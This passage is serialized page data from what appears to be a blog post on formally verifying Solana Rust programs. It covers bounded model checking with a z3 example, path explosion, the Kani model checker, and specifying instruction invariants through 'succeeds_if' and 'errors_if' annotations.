slack-dark",[23417],{"type":25,"tag":82,"props":23418,"children":23419},{"__ignoreMap":7},[23420,23443,23450,23476,23500,23524,23531,23539,23556,23584,23603,23631,23638,23646,23667,23685,23692,23700,23715,23742,23761,23788,23795,23802,23821],{"type":25,"tag":216,"props":23421,"children":23422},{"class":6916,"line":6917},[23423,23428,23433,23438],{"type":25,"tag":216,"props":23424,"children":23425},{"style":6967},[23426],{"type":31,"value":23427},"from",{"type":25,"tag":216,"props":23429,"children":23430},{"style":6958},[23431],{"type":31,"value":23432}," z3 ",{"type":25,"tag":216,"props":23434,"children":23435},{"style":6967},[23436],{"type":31,"value":23437},"import",{"type":25,"tag":216,"props":23439,"children":23440},{"style":6947},[23441],{"type":31,"value":23442}," *\n",{"type":25,"tag":216,"props":23444,"children":23445},{"class":6916,"line":6763},[23446],{"type":25,"tag":216,"props":23447,"children":23448},{"emptyLinePlaceholder":16},[23449],{"type":31,"value":7636},{"type":25,"tag":216,"props":23451,"children":23452},{"class":6916,"line":6772},[23453,23458,23462,23467,23472],{"type":25,"tag":216,"props":23454,"children":23455},{"style":6958},[23456],{"type":31,"value":23457},"x ",{"type":25,"tag":216,"props":23459,"children":23460},{"style":6947},[23461],{"type":31,"value":266},{"type":25,"tag":216,"props":23463,"children":23464},{"style":6958},[23465],{"type":31,"value":23466}," Int(",{"type":25,"tag":216,"props":23468,"children":23469},{"style":8199},[23470],{"type":31,"value":23471},"'x'",{"type":25,"tag":216,"props":23473,"children":23474},{"style":6958},[23475],{"type":31,"value":7101},{"type":25,"tag":216,"props":23477,"children":23478},{"class":6916,"line":6999},[23479,23483,23487,23491,23496],{"type":25,"tag":216,"props":23480,"children":23481},{"style":6958},[23482],{"type":31,"value":23263},{"type":25,"tag":216,"props":23484,"children":23485},{"style":6947},[23486],{"type":31,"value":266},{"type":25,"tag":216,"props":23488,"children":23489},{"style":6958},[23490],{"type":31,"value":23466},{"type":25,"tag":216,"props":23492,"children":23493},{"style":8199},[23494],{"type":31,"value":23495},"'y'",{"type":25,"tag":216,"props":23497,"children":23498},{"style":6958},[23499],{"type":31,"value":7101},{"type":25,"tag":216,"props":23501,"children":23502},{"class":6916,"line":7104},[23503,23507,23511,23515,23520],{"type":25,"tag":216,"props":23504,"children":23505},{"style":6958},[23506],{"type":31,"value":23304},{"type":25,"tag":216,"props":23508,"children":23509},{"style":6947},[23510],{"type":31,"value":266},{"type":25,"tag":216,"props":23512,"children":23513},{"style":6958},[23514],{"type":31,"value":23466},{"type":25,"tag":216,"props":23516,"children":23517},{"style":8199},[23518],{"type":31,"value":23519},"'z'",{"type":25,"tag":216,"props":23521,"children":23522},{"style":6958},[23523],{"type":31,"value":7101},{"type":25,"tag":216,"props":23525,"children":23526},{"class":6916,"line":7210},[23527],{"type":25,"tag":216,"props":23528,"children":23529},{"emptyLinePlaceholder":16},[23530],{"type":31,"value":7636},{"type":25,"tag":216,"props":23532,"children":23533},{"class":6916,"line":7238},[23534],{"type":25,"tag":216,"props":23535,"children":23536},{"style":6921},[23537],{"type":31,"value":23538},"# Positive branch:\n",{"type":25,"tag":216,"props":23540,"children":23541},{"class":6916,"line":7251},[23542,23547,23551],{"type":25,"tag":216,"props":23543,"children":23544},{"style":6958},[23545],{"type":31,"value":23546},"s ",{"type":25,"tag":216,"props":23548,"children":23549},{"style":6947},[23550],{"type":31,"value":266},{"type":25,"tag":216,"props":23552,"children":23553},{"style":6958},[23554],{"type":31,"value":23555}," Solver()\n",{"type":25,"tag":216,"props":23557,"children":23558},{"class":6916,"line":7269},[23559,23564,23568,23572,23576,23580],{"type":25,"tag":216,"props":23560,"children":23561},{"style":6958},[23562],{"type":31,"value":23563},"s.add(y ",{"type":25,"tag":216,"props":23565,"children":23566},{"style":6947},[23567],{"type":31,"value":12522},{"type":25,"tag":216,"props":23569,"children":23570},{"style":6958},[23571],{"type":31,"value":23044},{"type":25,"tag":216,"props":23573,"children":23574},{"style":6947},[23575],{"type":31,"value":3533},{"type":25,"tag":216,"props":23577,"children":23578},{"style":6983},[23579],{"type":31,"value":23053},{"type":25,"tag":216,"props":23581,"children":23582},{"style":6958},[23583],{"type":31,"value":7101},{"type":25,"tag":216,"props":23585,"children":23586},{"class":6916,"line":7290},[23587,23591,23595,23599],{"type":25,"tag":216,"props":23588,"children":23589},{"style":6958},[23590],{"type":31,"value":23563},{"type":25,"tag":216,"props":23592,"children":23593},{"style":6947},[23594],{"type":31,"value":5896},{"type":25,"tag":216,"props":23596,"children":23597},{"style":6983},[23598],{"type":31,"value":23090},{"type":25,"tag":216,"props":23600,"children":23601},{"style":6958},[23602],{"type":31,"value":7101},{"type":25,"tag":216,"props":23604,"children":23605},{"class":6916,"line":7299},[23606,23611,23615,23619,23623,23627],{"type":25,"tag":216,"props":23607,"children":23608},{"style":6958},[23609],{"type":31,"value":23610},"s.add(z ",{"type":25,"tag":216,"props":23612,"children":23613},{"style":6947},[23614],{"type":31,"value":12522},{"type":25,"tag":216,"props":23616,"children":23617},{"style":6958},[23618],{"type":31,"value":8456},{"type":25,"tag":216,"props":23620,"children":23621},{"style":6947},[23622],{"type":31,"value":8513},{"type":25,"tag":216,"props":23624,"children":23625},{"style":6983},[23626],{"type":31,"value":11880},{"type":25,"tag":216,"props":23628,"children":23629},{"style":6958},[23630],{"type":31,"value":7101},{"type":25,"tag":216,"props":23632,"children":23633},{"class":6916,"line":7551},[23634],{"type":25,"tag":216,"props":23635,"children":23636},{"emptyLinePlaceholder":16},[23637],{"type":31,"value":7636},{"type":25,"tag":216,"props":23639,"children":23640},{"class":6916,"line":7568},[23641],{"type":25,"tag":216,"props":23642,"children":23643},{"style":6921},[23644],{"type":31,"value":23645},"# check if we can violate the correctness property\n",{"type":25,"tag":216,"props":23647,"children":23648},{"class":6916,"line":7585},[23649,23654,23658,23662],{"type":25,"tag":216,"props":23650,"children":23651},{"style":6958},[23652],{"type":31,"value":23653},"s.add(Not(z ",{"type":25,"tag":216,"props":23655,"children":23656},{"style":6947},[23657],{"type":31,"value":19640},{"type":25,"tag":216,"props":23659,"children":23660},{"style":6983},[23661],{"type":31,"value":23208},{"type":25,"tag":216,"props":23663,"children":23664},{"style":6958},[23665],{"type":31,"value":23666},"))\n",{"type":25,"tag":216,"props":23668,"children":23669},{"class":6916,"line":7598},[23670,23675,23680],{"type":25,"tag":216,"props":23671,"children":23672},{"style":7041},[23673],{"type":31,"value":23674},"print",{"type":25,"tag":216,"props":23676,"children":23677},{"style":6958},[23678],{"type":31,"value":23679},"(s.check()) ",{"type":25,"tag":216,"props":23681,"children":23682},{"style":6921},[23683],{"type":31,"value":23684},"# \"unsat\"\n",{"type":25,"tag":216,"props":23686,"children":23687},{"class":6916,"line":7607},[23688],{"type":25,"tag":216,"props":23689,"children":23690},{"emptyLinePlaceholder":16},[23691],{"type":31,"value":7636},{"type":25,"tag":216,"props":23693,"children":23694},{"class":6916,"line":7630},[23695],{"type":25,"tag":216,"props":23696,"children":23697},{"style":6921},[23698],{"type":31,"value":23699},"# Negative branch:\n",{"type":25,"tag":216,"props":23701,"children":23702},{"class":6916,"line":7639},[23703,23707,23711],{"type":25,"tag":216,"props":23704,"children":23705},{"style":6958},[23706],{"type":31,"value":23546},{"type":25,"tag":216,"props":23708,"children":23709},{"style":6947},[23710],{"type":31,"value":266},{"type":25,"tag":216,"props":23712,"children":23713},{"style":6958},[23714],{"type":31,"value":23555},{"type":25,"tag":216,"props":23716,"children":23717},{"class":6916,"line":7648},[23718,23722,23726,23730,23734,23738],{"type":25,"tag":216,"props":23719,"children":23720},{"style":6958},[23721],{"type":31,"value":23563},{"type":25,"tag":216,"props":23723,"children":23724},{"style":6947},[23725],{"type":31,"value":12522},{"type":25,"tag":216,"props":23727,"children":23728},{"style":6958},[23729],{"type":31,"value":23044},{"type":25,"tag":216,"props":23731,"children":23732},{"style":6947},[23733],{"type":31,"value":3533},{"type":25,"tag":216,"props":23735,"children":23736},{"style":6983},[23737],{"type":31,"value":23053},{"type":25,"tag":216,"props":23739,"children":23740},{"style":6958},[23741],{"type":31,"value":7101},{"type":25,"tag":216,"props":23743,"children":23744},{"class":6916,"line":7716},[23745,23749,23753,23757],{"type":25,"tag":216,"props":23746,"children":23747},{"style":6958},[23748],{"type":31,"value":23563},{"type":25,"tag":216,"props":23750,"children":23751},{"style":6947},[23752],{"type":31,"value":23368},{"type":25,"tag":216,"props":23754,"children":23755},{"style":6983},[23756],{"type":31,"value":23090},{"type":25,"tag":216,"props":23758,"children":23759},{"style":6958},[23760],{"type":31,"value":7101},{"type":25,"tag":216,"props":23762,"children":23763},{"class":6916,"line":7724},[23764,23768,23772,23776,23780,23784],{"type":25,"tag":216,"props":23765,"children":23766},{"style":6958},[23767],{"type":31,"value":23610},{"type":25,"tag":216,"props":23769,"children":23770},{"style":6947},[23771],{"type":31,"value":12522},{"type":25,"tag":216,"props":23773,"children":23774},{"style":6958},[23775],{"type":31,"value":8456},{"type":25,"tag":216,"props":23777,"children":23778},{"style":6947},[23779],{"type":31,"value":3533},{"type":25,"tag":216,"props":23781,"children":23782},{"style":6983},[23783],{"type":31,"value":8465},{"type":25,"tag":216,"props":23785,"children":23786},{"style":6958},[23787],{"type":31,"value":7101},{"type":25,"tag":216,"props":23789,"children":23790},{"class":6916,"line":7754},[23791],{"type":25,"tag":216,"props":23792,"children":23793},{"emptyLinePlaceholder":16},[23794],{"type":31,"value":7636},{"type":25,"tag":216,"props":23796,"children":23797},{"class":6916,"line":7762},[23798],{"type":25,"tag":216,"props":23799,"children":23800},{"style":6921},[23801],{"type":31,"value":23645},{"type":25,"tag":216,"props":23803,"children":23804},{"class":6916,"line":7794},[23805,23809,23813,23817],{"type":25,"tag":216,"props":23806,"children":23807},{"style":6958},[23808],{"type":31,"value":23653},{"type":25,"tag":216,"props":23810,"children":23811},{"style":6947},[23812],{"type":31,"value":19640},{"type":25,"tag":216,"props":23814,"children":23815},{"style":6983},[23816],{"type":31,"value":23208},{"type":25,"tag":216,"props":23818,"children":23819},{"style":6958},[23820],{"type":31,"value":23666},{"type":25,"tag":216,"props":23822,"children":23823},{"class":6916,"line":7802},[23824,23828,23832],{"type":25,"tag":216,"props":23825,"children":23826},{"style":7041},[23827],{"type":31,"value":23674},{"type":25,"tag":216,"props":23829,"children":23830},{"style":6958},[23831],{"type":31,"value":23679},{"type":25,"tag":216,"props":23833,"children":23834},{"style":6921},[23835],{"type":31,"value":23684},{"type":25,"tag":38,"props":23837,"children":23838},{},[23839,23841,23847,23849,23854],{"type":31,"value":23840},"Both of these cases return ",{"type":25,"tag":82,"props":23842,"children":23844},{"className":23843},[],[23845],{"type":31,"value":23846},"unsat",{"type":31,"value":23848}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":25,"tag":64,"props":23850,"children":23851},{},[23852],{"type":31,"value":23853},"correct",{"type":31,"value":23855}," according to this property.",{"type":25,"tag":607,"props":23857,"children":23859},{"id":23858},"loop-bounds-path-explosion",[23860],{"type":31,"value":23861},"Loop bounds & path explosion",{"type":25,"tag":38,"props":23863,"children":23864},{},[23865,23867,23872,23874,23879],{"type":31,"value":23866},"As you may have noticed, BMC requires us to take ",{"type":25,"tag":64,"props":23868,"children":23869},{},[23870],{"type":31,"value":23871},"every",{"type":31,"value":23873}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":25,"tag":64,"props":23875,"children":23876},{},[23877],{"type":31,"value":23878},"infinite",{"type":31,"value":23880}," number of paths because the loop branches backward. This might take a while...",{"type":25,"tag":38,"props":23882,"children":23883},{},[23884],{"type":31,"value":23885},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":25,"tag":38,"props":23887,"children":23888},{},[23889],{"type":31,"value":23890},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":25,"tag":38,"props":23892,"children":23893},{},[23894],{"type":31,"value":23895},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":25,"tag":607,"props":23897,"children":23899},{"id":23898},"kani-model-checker",[23900],{"type":31,"value":23901},"Kani Model Checker",{"type":25,"tag":38,"props":23903,"children":23904},{},[23905,23907,23912],{"type":31,"value":23906},"For our research with formally verifying Solana programs, we are using the ",{"type":25,"tag":162,"props":23908,"children":23910},{"href":22801,"rel":23909},[166],[23911],{"type":31,"value":22805},{"type":31,"value":23913},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":25,"tag":38,"props":23915,"children":23916},{},[23917,23919,23924,23926,23932,23933,23939,23941,23947],{"type":31,"value":23918},"Kani allows you to write ",{"type":25,"tag":64,"props":23920,"children":23921},{},[23922],{"type":31,"value":23923},"proof harnesses",{"type":31,"value":23925}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":25,"tag":82,"props":23927,"children":23929},{"className":23928},[],[23930],{"type":31,"value":23931},"assume",{"type":31,"value":1301},{"type":25,"tag":82,"props":23934,"children":23936},{"className":23935},[],[23937],{"type":31,"value":23938},"assert",{"type":31,"value":23940}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":25,"tag":82,"props":23942,"children":23944},{"className":23943},[],[23945],{"type":31,"value":23946},"cargo kani",{"type":31,"value":23948}," tool (which compiles your proof harness and runs BMC).",{"type":25,"tag":26,"props":23950,"children":23952},{"id":23951},"specification-how-can-we-describe-what-we-want-our-program-to-do",[23953,23955,23959],{"type":31,"value":23954},"Specification: How can we describe what we ",{"type":25,"tag":64,"props":23956,"children":23957},{},[23958],{"type":31,"value":22874},{"type":31,"value":22876},{"type":25,"tag":38,"props":23961,"children":23962},{},[23963],{"type":25,"tag":64,"props":23964,"children":23965},{},[23966],{"type":25,"tag":9267,"props":23967,"children":23968},{},[23969],{"type":31,"value":23970},"And what even do we want it to do?",{"type":25,"tag":38,"props":23972,"children":23973},{},[23974,23976,23981],{"type":31,"value":23975},"A fundamental challenge with any formal verification framework is ",{"type":25,"tag":64,"props":23977,"children":23978},{},[23979],{"type":31,"value":23980},"specifying",{"type":31,"value":23982}," what the \"correct\" behavior should be.",{"type":25,"tag":38,"props":23984,"children":23985},{},[23986],{"type":31,"value":23987},"In natural language, we can describe a few good properties for example Solana programs:",{"type":25,"tag":2033,"props":23989,"children":23990},{},[23991,24003,24015],{"type":25,"tag":2037,"props":23992,"children":23993},{},[23994,23996,24001],{"type":31,"value":23995},"\"It should not be possible to ",{"type":25,"tag":9267,"props":23997,"children":23998},{},[23999],{"type":31,"value":24000},"steal money",{"type":31,"value":24002}," via a swap program\"",{"type":25,"tag":2037,"props":24004,"children":24005},{},[24006,24008,24013],{"type":31,"value":24007},"\"A multisig should never get into a state where you ",{"type":25,"tag":9267,"props":24009,"children":24010},{},[24011],{"type":31,"value":24012},"can't sign anything",{"type":31,"value":24014},"\"",{"type":25,"tag":2037,"props":24016,"children":24017},{},[24018],{"type":31,"value":24019},"\"User funds in a staking protocol \"",{"type":25,"tag":38,"props":24021,"children":24022},{},[24023,24025,24035,24037,24042],{"type":31,"value":24024},"These are types of properties you can tell your ",{"type":25,"tag":162,"props":24026,"children":24029},{"href":24027,"rel":24028},"https://osec.io/",[166],[24030],{"type":25,"tag":64,"props":24031,"children":24032},{},[24033],{"type":31,"value":24034},"human auditors",{"type":31,"value":24036}," but these English phrases are not particularly useful for ",{"type":25,"tag":64,"props":24038,"children":24039},{},[24040],{"type":31,"value":24041},"automated verification techniques",{"type":31,"value":24043}," (at least until our AI overlords surpass human intelligence).",{"type":25,"tag":38,"props":24045,"children":24046},{},[24047,24049,24054,24056,24061],{"type":31,"value":24048},"Instead, we need to be able to specify ",{"type":25,"tag":64,"props":24050,"children":24051},{},[24052],{"type":31,"value":24053},"in code",{"type":31,"value":24055}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":25,"tag":82,"props":24057,"children":24059},{"className":24058},[],[24060],{"type":31,"value":23938},{"type":31,"value":24062}," statement.",{"type":25,"tag":607,"props":24064,"children":24066},{"id":24065},"solana-invariants",[24067],{"type":31,"value":24068},"Solana Invariants",{"type":25,"tag":38,"props":24070,"children":24071},{},[24072,24074,24079,24080,24085],{"type":31,"value":24073},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":25,"tag":9267,"props":24075,"children":24076},{},[24077],{"type":31,"value":24078},"instruction invariants",{"type":31,"value":1301},{"type":25,"tag":9267,"props":24081,"children":24082},{},[24083],{"type":31,"value":24084},"account invariants",{"type":31,"value":179},{"type":25,"tag":631,"props":24087,"children":24089},{"id":24088},"instruction-invariant",[24090],{"type":31,"value":24091},"Instruction Invariant",{"type":25,"tag":38,"props":24093,"children":24094},{},[24095,24097,24102,24104,24110,24111,24117],{"type":31,"value":24096},"An ",{"type":25,"tag":9267,"props":24098,"children":24099},{},[24100],{"type":31,"value":24101},"instruction invariant",{"type":31,"value":24103}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":25,"tag":82,"props":24105,"children":24107},{"className":24106},[],[24108],{"type":31,"value":24109},"succeeds_if",{"type":31,"value":17084},{"type":25,"tag":82,"props":24112,"children":24114},{"className":24113},[],[24115],{"type":31,"value":24116},"errors_if",{"type":31,"value":24118}," macro annotations on the instruction handler.",{"type":25,"tag":38,"props":24120,"children":24121},{},[24122],{"type":31,"value":24123},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":25,"tag":38,"props":24125,"children":24126},{},[24127,24129,24135,24137,24141],{"type":31,"value":24128},"For example, say we have a ",{"type":25,"tag":82,"props":24130,"children":24132},{"className":24131},[],[24133],{"type":31,"value":24134},"Withdraw",{"type":31,"value":24136}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":25,"tag":64,"props":24138,"children":24139},{},[24140],{"type":31,"value":6528},{"type":31,"value":24142}," tokens than their current balance.",{"type":25,"tag":38,"props":24144,"children":24145},{},[24146,24148,24153],{"type":31,"value":24147},"Using our tool, you could specify the following ",{"type":25,"tag":82,"props":24149,"children":24151},{"className":24150},[],[24152],{"type":31,"value":24116},{"type":31,"value":24154}," property on your instruction handler:",{"type":25,"tag":206,"props":24156,"children":24158},{"code":24157,"language":6908,"meta":7,"className":6909,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[24159],{"type":25,"tag":82,"props":24160,"children":24161},{"__ignoreMap":7},[24162,24170,24205,24213,24286,24294],{"type":25,"tag":216,"props":24163,"children":24164},{"class":6916,"line":6917},[24165],{"type":25,"tag":216,"props":24166,"children":24167},{"style":6958},[24168],{"type":31,"value":24169},"#[errors_if(\n",{"type":25,"tag":216,"props":24171,"children":24172},{"class":6916,"line":6763},[24173,24178,24182,24187,24191,24196,24200],{"type":25,"tag":216,"props":24174,"children":24175},{"style":6958},[24176],{"type":31,"value":24177},"    ctx",{"type":25,"tag":216,"props":24179,"children":24180},{"style":6947},[24181],{"type":31,"value":179},{"type":25,"tag":216,"props":24183,"children":24184},{"style":6958},[24185],{"type":31,"value":24186},"user",{"type":25,"tag":216,"props":24188,"children":24189},{"style":6947},[24190],{"type":31,"value":179},{"type":25,"tag":216,"props":24192,"children":24193},{"style":6958},[24194],{"type":31,"value":24195},"balance ",{"type":25,"tag":216,"props":24197,"children":24198},{"style":6947},[24199],{"type":31,"value":9751},{"type":25,"tag":216,"props":24201,"children":24202},{"style":6958},[24203],{"type":31,"value":24204}," amount\n",{"type":25,"tag":216,"props":24206,"children":24207},{"class":6916,"line":6772},[24208],{"type":25,"tag":216,"props":24209,"children":24210},{"style":6958},[24211],{"type":31,"value":24212},")]\n",{"type":25,"tag":216,"props":24214,"children":24215},{"class":6916,"line":6999},[24216,24221,24226,24230,24235,24239,24244,24248,24252,24256,24261,24265,24269,24273,24277,24281],{"type":25,"tag":216,"props":24217,"children":24218},{"style":6930},[24219],{"type":31,"value":24220},"fn",{"type":25,"tag":216,"props":24222,"children":24223},{"style":7041},[24224],{"type":31,"value":24225}," withdraw",{"type":25,"tag":216,"props":24227,"children":24228},{"style":6958},[24229],{"type":31,"value":1844},{"type":25,"tag":216,"props":24231,"children":24232},{"style":6941},[24233],{"type":31,"value":24234},"ctx",{"type":25,"tag":216,"props":24236,"children":24237},{"style":6947},[24238],{"type":31,"value":1466},{"type":25,"tag":216,"props":24240,"children":24241},{"style":7369},[24242],{"type":31,"value":24243}," Context",{"type":25,"tag":216,"props":24245,"children":24246},{"style":6958},[24247],{"type":31,"value":9751},{"type":25,"tag":216,"props":24249,"children":24250},{"style":7369},[24251],{"type":31,"value":24134},{"type":25,"tag":216,"props":24253,"children":24254},{"style":6958},[24255],{"type":31,"value":10576},{"type":25,"tag":216,"props":24257,"children":24258},{"style":6941},[24259],{"type":31,"value":24260},"amount",{"type":25,"tag":216,"props":24262,"children":24263},{"style":6947},[24264],{"type":31,"value":1466},{"type":25,"tag":216,"props":24266,"children":24267},{"style":7369},[24268],{"type":31,"value":9805},{"type":25,"tag":216,"props":24270,"children":24271},{"style":6958},[24272],{"type":31,"value":7030},{"type":25,"tag":216,"props":24274,"children":24275},{"style":6947},[24276],{"type":31,"value":17708},{"type":25,"tag":216,"props":24278,"children":24279},{"style":7369},[24280],{"type":31,"value":17713},{"type":25,"tag":216,"props":24282,"children":24283},{"style":6958},[24284],{"type":31,"value":24285},"\u003C()> {\n",{"type":25,"tag":216,"props":24287,"children":24288},{"class":6916,"line":7104},[24289],{"type":25,"tag":216,"props":24290,"children":24291},{"style":6947},[24292],{"type":31,"value":24293},"    ...\n",{"type":25,"tag":216,"props":24295,"children":24296},{"class":6916,"line":7210},[24297],{"type":25,"tag":216,"props":24298,"children":24299},{"style":6958},[24300],{"type":31,"value":7868},{"type":25,"tag":34,"props":24302,"children":24303},{},[24304],{"type":25,"tag":38,"props":24305,"children":24306},{},[24307,24308,24313,24315,24320,24322,24327],{"type":31,"value":474},{"type":25,"tag":82,"props":24309,"children":24311},{"className":24310},[],[24312],{"type":31,"value":24116},{"type":31,"value":24314}," expression specifies ",{"type":25,"tag":64,"props":24316,"children":24317},{},[24318],{"type":31,"value":24319},"succifient",{"type":31,"value":24321}," but not ",{"type":25,"tag":64,"props":24323,"children":24324},{},[24325],{"type":31,"value":24326},"necessary",{"type":31,"value":24328}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":25,"tag":22747,"props":24330,"children":24331},{},[],{"type":25,"tag":38,"props":24333,"children":24334},{},[24335,24337,24342],{"type":31,"value":24336},"Another example is that for ",{"type":25,"tag":64,"props":24338,"children":24339},{},[24340],{"type":31,"value":24341},"crank",{"type":31,"value":24343}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":25,"tag":206,"props":24345,"children":24347},{"code":24346,"language":6908,"meta":7,"className":6909,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[24348],{"type":25,"tag":82,"props":24349,"children":24350},{"__ignoreMap":7},[24351,24359,24413,24420],{"type":25,"tag":216,"props":24352,"children":24353},{"class":6916,"line":6917},[24354],{"type":25,"tag":216,"props":24355,"children":24356},{"style":6958},[24357],{"type":31,"value":24358},"#[succeeds_if(true)]\n",{"type":25,"tag":216,"props":24360,"children":24361},{"class":6916,"line":6763},[24362,24366,24371,24375,24379,24383,24387,24391,24396,24401,24405,24409],{"type":25,"tag":216,"props":24363,"children":24364},{"style":6930},[24365],{"type":31,"value":24220},{"type":25,"tag":216,"props":24367,"children":24368},{"style":7041},[24369],{"type":31,"value":24370}," my_crank",{"type":25,"tag":216,"props":24372,"children":24373},{"style":6958},[24374],{"type":31,"value":1844},{"type":25,"tag":216,"props":24376,"children":24377},{"style":6941},[24378],{"type":31,"value":24234},{"type":25,"tag":216,"props":24380,"children":24381},{"style":6947},[24382],{"type":31,"value":1466},{"type":25,"tag":216,"props":24384,"children":24385},{"style":7369},[24386],{"type":31,"value":24243},{"type":25,"tag":216,"props":24388,"children":24389},{"style":6958},[24390],{"type":31,"value":9751},{"type":25,"tag":216,"props":24392,"children":24393},{"style":7369},[24394],{"type":31,"value":24395},"Crank",{"type":25,"tag":216,"props":24397,"children":24398},{"style":6958},[24399],{"type":31,"value":24400},">) ",{"type":25,"tag":216,"props":24402,"children":24403},{"style":6947},[24404],{"type":31,"value":17708},{"type":25,"tag":216,"props":24406,"children":24407},{"style":7369},[24408],{"type":31,"value":17713},{"type":25,"tag":216,"props":24410,"children":24411},{"style":6958},[24412],{"type":31,"value":24285},{"type":25,"tag":216,"props":24414,"children":24415},{"class":6916,"line":6772},[24416],{"type":25,"tag":216,"props":24417,"children":24418},{"style":6947},[24419],{"type":31,"value":24293},{"type":25,"tag":216,"props":24421,"children":24422},{"class":6916,"line":6999},[24423],{"type":25,"tag":216,"props":24424,"children":24425},{"style":6958},[24426],{"type":31,"value":7868},{"type":25,"tag":38,"props":24428,"children":24429},{},[24430,24432,24436,24438,24444],{"type":31,"value":24431},"With this invariant, you could prove that the function ",{"type":25,"tag":64,"props":24433,"children":24434},{},[24435],{"type":31,"value":17044},{"type":31,"value":24437}," returns ",{"type":25,"tag":82,"props":24439,"children":24441},{"className":24440},[],[24442],{"type":31,"value":24443},"Ok",{"type":31,"value":24445},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":25,"tag":22747,"props":24447,"children":24448},{},[],{"type":25,"tag":38,"props":24450,"children":24451},{},[24452,24454,24459,24460,24465,24467,24472,24474,24479,24481,24486],{"type":31,"value":24453},"Note that ",{"type":25,"tag":82,"props":24455,"children":24457},{"className":24456},[],[24458],{"type":31,"value":24109},{"type":31,"value":1301},{"type":25,"tag":82,"props":24461,"children":24463},{"className":24462},[],[24464],{"type":31,"value":24116},{"type":31,"value":24466}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":25,"tag":82,"props":24468,"children":24470},{"className":24469},[],[24471],{"type":31,"value":24109},{"type":31,"value":24473}," is not satisfied and a function may fail even if ",{"type":25,"tag":82,"props":24475,"children":24477},{"className":24476},[],[24478],{"type":31,"value":24116},{"type":31,"value":24480}," is not satisfied. If you want to prove the ",{"type":25,"tag":64,"props":24482,"children":24483},{},[24484],{"type":31,"value":24485},"exact condition",{"type":31,"value":24487}," required for an instruction to succeed, you could use a form like the following:",{"type":25,"tag":206,"props":24489,"children":24491},{"code":24490,"language":6908,"meta":7,"className":6909,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[24492],{"type":25,"tag":82,"props":24493,"children":24494},{"__ignoreMap":7},[24495,24539,24546,24563,24589,24641,24648],{"type":25,"tag":216,"props":24496,"children":24497},{"class":6916,"line":6917},[24498,24502,24507,24511,24515,24519,24523,24527,24531,24535],{"type":25,"tag":216,"props":24499,"children":24500},{"style":6930},[24501],{"type":31,"value":24220},{"type":25,"tag":216,"props":24503,"children":24504},{"style":7041},[24505],{"type":31,"value":24506}," my_invariant",{"type":25,"tag":216,"props":24508,"children":24509},{"style":6958},[24510],{"type":31,"value":1844},{"type":25,"tag":216,"props":24512,"children":24513},{"style":6947},[24514],{"type":31,"value":13541},{"type":25,"tag":216,"props":24516,"children":24517},{"style":6958},[24518],{"type":31,"value":7030},{"type":25,"tag":216,"props":24520,"children":24521},{"style":6947},[24522],{"type":31,"value":17708},{"type":25,"tag":216,"props":24524,"children":24525},{"style":7369},[24526],{"type":31,"value":16000},{"type":25,"tag":216,"props":24528,"children":24529},{"style":6958},[24530],{"type":31,"value":13536},{"type":25,"tag":216,"props":24532,"children":24533},{"style":6947},[24534],{"type":31,"value":13541},{"type":25,"tag":216,"props":24536,"children":24537},{"style":6958},[24538],{"type":31,"value":13546},{"type":25,"tag":216,"props":24540,"children":24541},{"class":6916,"line":6763},[24542],{"type":25,"tag":216,"props":24543,"children":24544},{"emptyLinePlaceholder":16},[24545],{"type":31,"value":7636},{"type":25,"tag":216,"props":24547,"children":24548},{"class":6916,"line":6772},[24549,24554,24558],{"type":25,"tag":216,"props":24550,"children":24551},{"style":6958},[24552],{"type":31,"value":24553},"#[succeeds_if(my_invariant(",{"type":25,"tag":216,"props":24555,"children":24556},{"style":6947},[24557],{"type":31,"value":13541},{"type":25,"tag":216,"props":24559,"children":24560},{"style":6958},[24561],{"type":31,"value":24562},"))]\n",{"type":25,"tag":216,"props":24564,"children":24565},{"class":6916,"line":6999},[24566,24571,24576,24581,24585],{"type":25,"tag":216,"props":24567,"children":24568},{"style":6958},[24569],{"type":31,"value":24570},"#[errors_if(",{"type":25,"tag":216,"props":24572,"children":24573},{"style":6947},[24574],{"type":31,"value":24575},"!",{"type":25,"tag":216,"props":24577,"children":24578},{"style":6958},[24579],{"type":31,"value":24580},"my_invariant(",{"type":25,"tag":216,"props":24582,"children":24583},{"style":6947},[24584],{"type":31,"value":13541},{"type":25,"tag":216,"props":24586,"children":24587},{"style":6958},[24588],{"type":31,"value":24562},{"type":25,"tag":216,"props":24590,"children":24591},{"class":6916,"line":7104},[24592,24596,24601,24605,24609,24613,24617,24621,24625,24629,24633,24637],{"type":25,"tag":216,"props":24593,"children":24594},{"style":6930},[24595],{"type":31,"v